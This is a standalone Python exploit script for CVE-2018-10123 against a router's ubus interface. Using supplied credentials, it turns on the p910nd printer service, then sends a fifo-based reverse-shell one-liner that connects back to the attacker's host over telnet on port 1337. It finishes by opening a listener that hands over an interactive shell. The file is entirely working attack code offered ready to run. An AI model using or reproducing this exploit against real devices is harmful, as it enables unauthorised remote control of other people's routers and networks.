cve-2018-10123-shell.py

#!/usr/bin/env python3

# Usage: cve-2018-10123-shell.py <target ip> <username> <password> <host ip>
# Details: https://neonsea.uk/blog/2018/04/15/pwn910nd.html

import json
import sys
import socket
import os
import time
from threading import Thread
from websocket import create_connection


def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [
                "00000000000000000000000000000000",
                "session",
                "login",
                {"username": username, "password": password},
            ],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        key = response.get("result")[1].get("ubus_rpc_session")
    except IndexError:
        return None
    return key


def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [key, namespace, argument, params],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        result = response.get("result")[1]
    except IndexError:
        if response.get("result")[0] == 0:
            return True
        return None
    return result


def shellReceiver(s):
    try:
        while 1:
            sys.stdout.write(s.recv(1024).decode("utf-8"))
            sys.stdout.flush()
    except socket.error as err:
        print(f"Error receiving data:\n{err}")
        sys.exit(1)


def shellListener():
    print("Waiting for shell...")
    try:
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.bind((socket.gethostname(), 1337))
        listener.listen(1)
        s, addr = listener.accept()

        print(f"Received connection from {addr[0]}\n")
        recv = Thread(target=shellReceiver, args=[s])
        recv.daemon = True
        try:
            recv.start()
            while 1:
                s.send(f"{input()}\n".encode("utf-8"))

        except (KeyboardInterrupt, EOFError):
            s.close()
            listener.close()
            return

    except socket.error as err:
        print(f"Unable to open listener:\n{err}")
        print("Use netcat or similar to listen to port 1337!")
        sys.exit(1)


def sendData(host, port, data=""):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.sendall(data.encode("utf-8"))
    s.shutdown(socket.SHUT_WR)
    s.close()
    return None


def recvData(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    data = s.recv(1024)
    s.shutdown(socket.SHUT_WR)
    s.close()
    return data


def getArguments():
    if len(sys.argv) != 5:
        print(f"Usage: {sys.argv[0]} <target ip> <username> <password> <host ip>")
        sys.exit(1)
    else:
        return sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]


if __name__ == "__main__":
    host, user, password, attacker = getArguments()

    payload = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet {attacker} 1337 >/tmp/f"

    print("Authenticating...")
    key = ubusAuth(host, user, password)
    if not key:
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Enabling p910nd and setting up exploit...")
    pwn910nd = ubusCall(
        host,
        key,
        "uci",
        "set",
        {
            "config": "p910nd",
            "type": "p910nd",
            "values": {
                "enabled": "1",
                "interface": "lan",
                "port": "0",
                "device": "/etc/init.d/p910nd",
            },
        },
    )
    if not pwn910nd:
        print("Enabling p910nd failed!")
        sys.exit(1)

    print("Committing changes...")
    p910ndc = ubusCall(host, key, "uci", "commit", {"config": "p910nd"})
    if not p910ndc:
        print("Committing changes failed!")
        sys.exit(1)

    print("Waiting for p910nd to start...")
    time.sleep(5)

    print("Sending key...")
    sendData(host, 9100, payload)

    print("Triggerring exploit...")
    print("Cleaning up...")

    dis910nd = ubusCall(
        host,
        key,
        "uci",
        "set",
        {
            "config": "p910nd",
            "type": "p910nd",
            "values": {"enabled": "0", "device": "/dev/usb/lp0"},
        },
    )
    if not dis910nd:
        print("Exploit and clean up failed!")
        sys.exit(1)

    p910ndc = ubusCall(host, key, "uci", "commit", {"config": "p910nd"})
    if not p910ndc:
        print("Exploit and clean up failed!")
        sys.exit(1)

    print("Exploitation complete")
    shellListener()